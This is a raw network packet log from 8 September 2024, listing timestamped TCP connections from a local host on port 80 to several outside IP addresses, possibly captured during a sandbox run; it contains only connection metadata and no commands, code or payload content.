Sep 8, 2024 08:39:49.571463108 CEST	49721	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:49.693202972 CEST	49722	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:39:49.698004961 CEST	80	49722	45.79.222.138	192.168.2.5
Sep 8, 2024 08:39:49.698090076 CEST	49722	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:39:49.699012041 CEST	49722	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:39:49.704134941 CEST	80	49722	45.79.222.138	192.168.2.5
Sep 8, 2024 08:39:49.704179049 CEST	49722	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:39:49.710618019 CEST	49723	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:49.715394974 CEST	80	49723	172.234.222.143	192.168.2.5
Sep 8, 2024 08:39:49.715466022 CEST	49723	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:49.715544939 CEST	49723	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:49.720385075 CEST	80	49723	172.234.222.143	192.168.2.5
Sep 8, 2024 08:39:50.205549002 CEST	80	49723	172.234.222.143	192.168.2.5
Sep 8, 2024 08:39:50.205576897 CEST	80	49723	172.234.222.143	192.168.2.5
Sep 8, 2024 08:39:50.205713987 CEST	49723	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:50.205832958 CEST	49723	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:50.206140995 CEST	49721	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:50.206454039 CEST	49724	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:50.211226940 CEST	80	49721	172.234.222.138	192.168.2.5
Sep 8, 2024 08:39:50.211240053 CEST	80	49724	172.234.222.138	192.168.2.5
Sep 8, 2024 08:39:50.211277962 CEST	49721	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:50.211333990 CEST	49724	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:50.211473942 CEST	49724	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:50.216259956 CEST	80	49724	172.234.222.138	192.168.2.5
Sep 8, 2024 08:39:50.701316118 CEST	80	49724	172.234.222.138	192.168.2.5
Sep 8, 2024 08:39:50.701406002 CEST	49724	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:51.018101931 CEST	49725	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:39:51.022957087 CEST	80	49725	88.198.29.97	192.168.2.5
Sep 8, 2024 08:39:51.023063898 CEST	49725	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:39:51.023108959 CEST	49725	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:39:51.027848959 CEST	49726	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:51.028157949 CEST	80	49725	88.198.29.97	192.168.2.5
Sep 8, 2024 08:39:51.028223991 CEST	49725	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:39:51.033075094 CEST	80	49726	172.234.222.143	192.168.2.5
Sep 8, 2024 08:39:51.033157110 CEST	49726	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:51.038419008 CEST	49726	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:51.043519020 CEST	80	49726	172.234.222.143	192.168.2.5
Sep 8, 2024 08:39:51.523803949 CEST	80	49726	172.234.222.143	192.168.2.5
Sep 8, 2024 08:39:51.523968935 CEST	80	49726	172.234.222.143	192.168.2.5
Sep 8, 2024 08:39:51.524005890 CEST	49726	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:51.524060011 CEST	49726	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:51.524349928 CEST	49724	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:51.524667978 CEST	49727	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:51.529356003 CEST	80	49724	172.234.222.138	192.168.2.5
Sep 8, 2024 08:39:51.529418945 CEST	49724	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:51.529500961 CEST	80	49727	172.234.222.138	192.168.2.5
Sep 8, 2024 08:39:51.529586077 CEST	49727	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:51.529683113 CEST	49727	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:51.534465075 CEST	80	49727	172.234.222.138	192.168.2.5
Sep 8, 2024 08:39:52.012953997 CEST	80	49727	172.234.222.138	192.168.2.5
Sep 8, 2024 08:39:52.013078928 CEST	49727	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:54.411897898 CEST	49729	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:39:54.416678905 CEST	80	49729	88.198.29.97	192.168.2.5
Sep 8, 2024 08:39:54.416765928 CEST	49729	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:39:54.416836977 CEST	49729	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:39:54.421192884 CEST	49730	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:54.421896935 CEST	80	49729	88.198.29.97	192.168.2.5
Sep 8, 2024 08:39:54.421960115 CEST	49729	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:39:54.425973892 CEST	80	49730	172.234.222.143	192.168.2.5
Sep 8, 2024 08:39:54.426039934 CEST	49730	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:54.426120043 CEST	49730	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:54.430875063 CEST	80	49730	172.234.222.143	192.168.2.5
Sep 8, 2024 08:39:54.908848047 CEST	80	49730	172.234.222.143	192.168.2.5
Sep 8, 2024 08:39:54.908938885 CEST	80	49730	172.234.222.143	192.168.2.5
Sep 8, 2024 08:39:54.908987999 CEST	49730	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:54.909018993 CEST	49730	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:54.914815903 CEST	49727	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:54.915211916 CEST	49731	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:54.919857025 CEST	80	49727	172.234.222.138	192.168.2.5
Sep 8, 2024 08:39:54.919903040 CEST	49727	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:54.920032024 CEST	80	49731	172.234.222.138	192.168.2.5
Sep 8, 2024 08:39:54.920093060 CEST	49731	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:54.920306921 CEST	49731	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:54.925086975 CEST	80	49731	172.234.222.138	192.168.2.5
Sep 8, 2024 08:39:55.404555082 CEST	80	49731	172.234.222.138	192.168.2.5
Sep 8, 2024 08:39:55.404637098 CEST	49731	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:57.516901016 CEST	49738	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:39:57.521727085 CEST	80	49738	64.70.19.203	192.168.2.5
Sep 8, 2024 08:39:57.521889925 CEST	49738	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:39:57.521996021 CEST	49738	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:39:57.527071953 CEST	80	49738	64.70.19.203	192.168.2.5
Sep 8, 2024 08:39:57.527133942 CEST	49738	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:39:57.748823881 CEST	49739	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:57.753655910 CEST	80	49739	172.234.222.143	192.168.2.5
Sep 8, 2024 08:39:57.753721952 CEST	49739	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:57.761532068 CEST	49739	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:57.766280890 CEST	80	49739	172.234.222.143	192.168.2.5
Sep 8, 2024 08:39:58.237953901 CEST	80	49739	172.234.222.143	192.168.2.5
Sep 8, 2024 08:39:58.237984896 CEST	80	49739	172.234.222.143	192.168.2.5
Sep 8, 2024 08:39:58.238065004 CEST	49739	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:58.238183975 CEST	49739	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:58.243952036 CEST	49731	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:58.244786024 CEST	49740	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:58.249119043 CEST	80	49731	172.234.222.138	192.168.2.5
Sep 8, 2024 08:39:58.249228954 CEST	49731	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:58.249550104 CEST	80	49740	172.234.222.138	192.168.2.5
Sep 8, 2024 08:39:58.249638081 CEST	49740	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:58.262196064 CEST	49740	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:58.267117977 CEST	80	49740	172.234.222.138	192.168.2.5
Sep 8, 2024 08:39:58.752197027 CEST	80	49740	172.234.222.138	192.168.2.5
Sep 8, 2024 08:39:58.752259016 CEST	49740	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:59.305068016 CEST	49741	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:39:59.310513020 CEST	80	49741	45.79.222.138	192.168.2.5
Sep 8, 2024 08:39:59.310597897 CEST	49741	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:39:59.324074984 CEST	49741	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:39:59.329396963 CEST	80	49741	45.79.222.138	192.168.2.5
Sep 8, 2024 08:39:59.331594944 CEST	49741	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:39:59.332324028 CEST	49742	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:59.337510109 CEST	80	49742	172.234.222.143	192.168.2.5
Sep 8, 2024 08:39:59.339274883 CEST	49742	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:59.339648962 CEST	49742	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:59.346771955 CEST	80	49742	172.234.222.143	192.168.2.5
Sep 8, 2024 08:39:59.844613075 CEST	80	49742	172.234.222.143	192.168.2.5
Sep 8, 2024 08:39:59.844643116 CEST	80	49742	172.234.222.143	192.168.2.5
Sep 8, 2024 08:39:59.844765902 CEST	49742	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:59.845005035 CEST	49742	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:39:59.851321936 CEST	49740	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:59.851617098 CEST	49743	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:59.856615067 CEST	80	49740	172.234.222.138	192.168.2.5
Sep 8, 2024 08:39:59.856631041 CEST	80	49743	172.234.222.138	192.168.2.5
Sep 8, 2024 08:39:59.856698036 CEST	49740	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:59.856729031 CEST	49743	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:59.856880903 CEST	49743	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:39:59.861804008 CEST	80	49743	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:00.348927021 CEST	80	49743	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:00.349018097 CEST	49743	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:01.099208117 CEST	49744	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:40:01.104187965 CEST	80	49744	45.79.222.138	192.168.2.5
Sep 8, 2024 08:40:01.104279041 CEST	49744	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:40:01.105305910 CEST	49744	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:40:01.108958960 CEST	49745	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:01.110184908 CEST	80	49744	45.79.222.138	192.168.2.5
Sep 8, 2024 08:40:01.110248089 CEST	49744	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:40:01.113737106 CEST	80	49745	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:01.113805056 CEST	49745	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:01.121047974 CEST	49745	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:01.125893116 CEST	80	49745	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:01.595820904 CEST	80	49745	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:01.595844984 CEST	80	49745	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:01.595943928 CEST	49745	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:01.596016884 CEST	49745	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:01.596328020 CEST	49743	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:01.596654892 CEST	49746	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:01.601320028 CEST	80	49743	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:01.601371050 CEST	49743	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:01.601398945 CEST	80	49746	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:01.601460934 CEST	49746	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:01.601562023 CEST	49746	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:01.606261015 CEST	80	49746	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:02.096710920 CEST	80	49746	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:02.096817970 CEST	49746	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:02.500987053 CEST	49747	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:40:02.506452084 CEST	80	49747	64.70.19.203	192.168.2.5
Sep 8, 2024 08:40:02.506613970 CEST	49747	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:40:02.511522055 CEST	49747	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:40:02.515431881 CEST	49748	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:02.517225981 CEST	80	49747	64.70.19.203	192.168.2.5
Sep 8, 2024 08:40:02.517297029 CEST	49747	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:40:02.520560980 CEST	80	49748	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:02.520682096 CEST	49748	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:02.520720959 CEST	49748	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:02.526374102 CEST	80	49748	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:03.014070988 CEST	80	49748	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:03.014096975 CEST	80	49748	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:03.014158964 CEST	49748	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:03.014236927 CEST	49748	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:03.017689943 CEST	49746	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:03.018079042 CEST	49749	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:03.022887945 CEST	80	49746	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:03.022901058 CEST	80	49749	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:03.022931099 CEST	49746	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:03.022970915 CEST	49749	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:03.023323059 CEST	49749	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:03.028240919 CEST	80	49749	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:03.505459070 CEST	80	49749	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:03.505580902 CEST	49749	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:05.063402891 CEST	49750	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:40:05.068273067 CEST	80	49750	64.70.19.203	192.168.2.5
Sep 8, 2024 08:40:05.068341970 CEST	49750	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:40:05.068428993 CEST	49750	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:40:05.072421074 CEST	49751	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:05.073311090 CEST	80	49750	64.70.19.203	192.168.2.5
Sep 8, 2024 08:40:05.073376894 CEST	49750	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:40:05.077162981 CEST	80	49751	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:05.077254057 CEST	49751	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:05.077327013 CEST	49751	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:05.082117081 CEST	80	49751	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:05.563189983 CEST	80	49751	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:05.563420057 CEST	49751	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:05.563489914 CEST	80	49751	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:05.563549995 CEST	49751	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:05.563774109 CEST	49749	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:05.564114094 CEST	49752	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:05.568741083 CEST	80	49749	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:05.568821907 CEST	49749	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:05.569001913 CEST	80	49752	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:05.569067001 CEST	49752	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:05.569215059 CEST	49752	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:05.573960066 CEST	80	49752	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:06.069829941 CEST	80	49752	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:06.069914103 CEST	49752	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:06.204734087 CEST	49753	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:40:06.210592985 CEST	80	49753	64.70.19.203	192.168.2.5
Sep 8, 2024 08:40:06.210690022 CEST	49753	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:40:06.214667082 CEST	49753	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:40:06.219556093 CEST	80	49753	64.70.19.203	192.168.2.5
Sep 8, 2024 08:40:06.219609976 CEST	49753	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:40:06.223145962 CEST	49754	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:06.228005886 CEST	80	49754	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:06.228142977 CEST	49754	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:06.230283976 CEST	49754	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:06.235007048 CEST	80	49754	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:06.731087923 CEST	80	49754	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:06.731113911 CEST	80	49754	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:06.731209993 CEST	49754	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:06.731288910 CEST	49754	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:06.737057924 CEST	49752	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:06.737335920 CEST	49755	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:06.742217064 CEST	80	49755	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:06.742289066 CEST	49755	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:06.742372036 CEST	49755	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:06.742518902 CEST	80	49752	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:06.742569923 CEST	49752	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:06.747103930 CEST	80	49755	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:07.245237112 CEST	80	49755	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:07.245361090 CEST	49755	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:07.665471077 CEST	49756	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:40:07.670306921 CEST	80	49756	45.79.222.138	192.168.2.5
Sep 8, 2024 08:40:07.670398951 CEST	49756	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:40:07.683396101 CEST	49756	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:40:07.687406063 CEST	49757	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:07.688352108 CEST	80	49756	45.79.222.138	192.168.2.5
Sep 8, 2024 08:40:07.688411951 CEST	49756	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:40:07.692241907 CEST	80	49757	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:07.692320108 CEST	49757	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:07.699022055 CEST	49757	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:07.703840971 CEST	80	49757	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:08.174624920 CEST	80	49757	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:08.174664021 CEST	80	49757	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:08.174762011 CEST	49757	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:08.174824953 CEST	49757	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:08.175112963 CEST	49755	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:08.175412893 CEST	49758	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:08.180146933 CEST	80	49758	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:08.180219889 CEST	80	49755	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:08.180236101 CEST	49758	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:08.180265903 CEST	49755	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:08.180389881 CEST	49758	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:08.185153008 CEST	80	49758	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:08.684330940 CEST	80	49758	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:08.684456110 CEST	49758	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:15.196297884 CEST	49759	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:40:15.201184988 CEST	80	49759	64.70.19.203	192.168.2.5
Sep 8, 2024 08:40:15.201260090 CEST	49759	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:40:15.201334953 CEST	49759	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:40:15.205667019 CEST	49760	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:15.206412077 CEST	80	49759	64.70.19.203	192.168.2.5
Sep 8, 2024 08:40:15.206471920 CEST	49759	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:40:15.210521936 CEST	80	49760	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:15.210597992 CEST	49760	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:15.210689068 CEST	49760	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:15.215548038 CEST	80	49760	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:15.703301907 CEST	80	49760	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:15.703474998 CEST	80	49760	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:15.703555107 CEST	49760	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:15.703641891 CEST	49760	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:15.709136963 CEST	49758	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:15.709419966 CEST	49761	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:15.715689898 CEST	80	49761	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:15.715759993 CEST	49761	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:15.715898037 CEST	49761	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:15.716002941 CEST	80	49758	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:15.716057062 CEST	49758	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:15.722340107 CEST	80	49761	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:17.004626989 CEST	80	49761	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:17.004719973 CEST	49761	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:17.004879951 CEST	80	49761	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:17.004935026 CEST	49761	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:17.005017042 CEST	80	49761	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:17.005059958 CEST	49761	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:20.905353069 CEST	49762	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:40:20.910367966 CEST	80	49762	45.79.222.138	192.168.2.5
Sep 8, 2024 08:40:20.910496950 CEST	49762	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:40:20.917820930 CEST	49762	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:40:20.923289061 CEST	80	49762	45.79.222.138	192.168.2.5
Sep 8, 2024 08:40:20.923358917 CEST	49762	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:40:20.924662113 CEST	49763	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:20.929567099 CEST	80	49763	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:20.929637909 CEST	49763	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:20.929757118 CEST	49763	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:20.934565067 CEST	80	49763	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:21.412045956 CEST	80	49763	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:21.412127972 CEST	80	49763	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:21.412225962 CEST	49763	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:21.412317038 CEST	49763	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:21.417653084 CEST	49761	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:21.418126106 CEST	49764	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:21.422847033 CEST	80	49761	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:21.422908068 CEST	80	49764	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:21.422935009 CEST	49761	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:21.422987938 CEST	49764	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:21.423115015 CEST	49764	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:21.429570913 CEST	80	49764	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:21.911427021 CEST	80	49764	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:21.911562920 CEST	49764	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:22.063328981 CEST	49765	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:40:22.068520069 CEST	80	49765	64.70.19.203	192.168.2.5
Sep 8, 2024 08:40:22.068588018 CEST	49765	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:40:22.074131012 CEST	49765	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:40:22.079096079 CEST	80	49765	64.70.19.203	192.168.2.5
Sep 8, 2024 08:40:22.079152107 CEST	49765	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:40:22.081201077 CEST	49766	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:22.086030006 CEST	80	49766	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:22.086098909 CEST	49766	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:22.086174011 CEST	49766	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:22.090882063 CEST	80	49766	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:22.573337078 CEST	80	49766	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:22.573358059 CEST	80	49766	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:22.573457003 CEST	49766	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:22.573555946 CEST	49766	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:22.577068090 CEST	49764	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:22.577380896 CEST	49767	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:22.582500935 CEST	80	49767	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:22.582516909 CEST	80	49764	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:22.582606077 CEST	49764	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:22.582726002 CEST	49767	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:22.582726002 CEST	49767	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:22.588229895 CEST	80	49767	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:23.064413071 CEST	80	49767	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:23.064471960 CEST	49767	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:23.521863937 CEST	49768	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:40:23.526710987 CEST	80	49768	45.79.222.138	192.168.2.5
Sep 8, 2024 08:40:23.526773930 CEST	49768	80	192.168.2.5	45.79.222.138
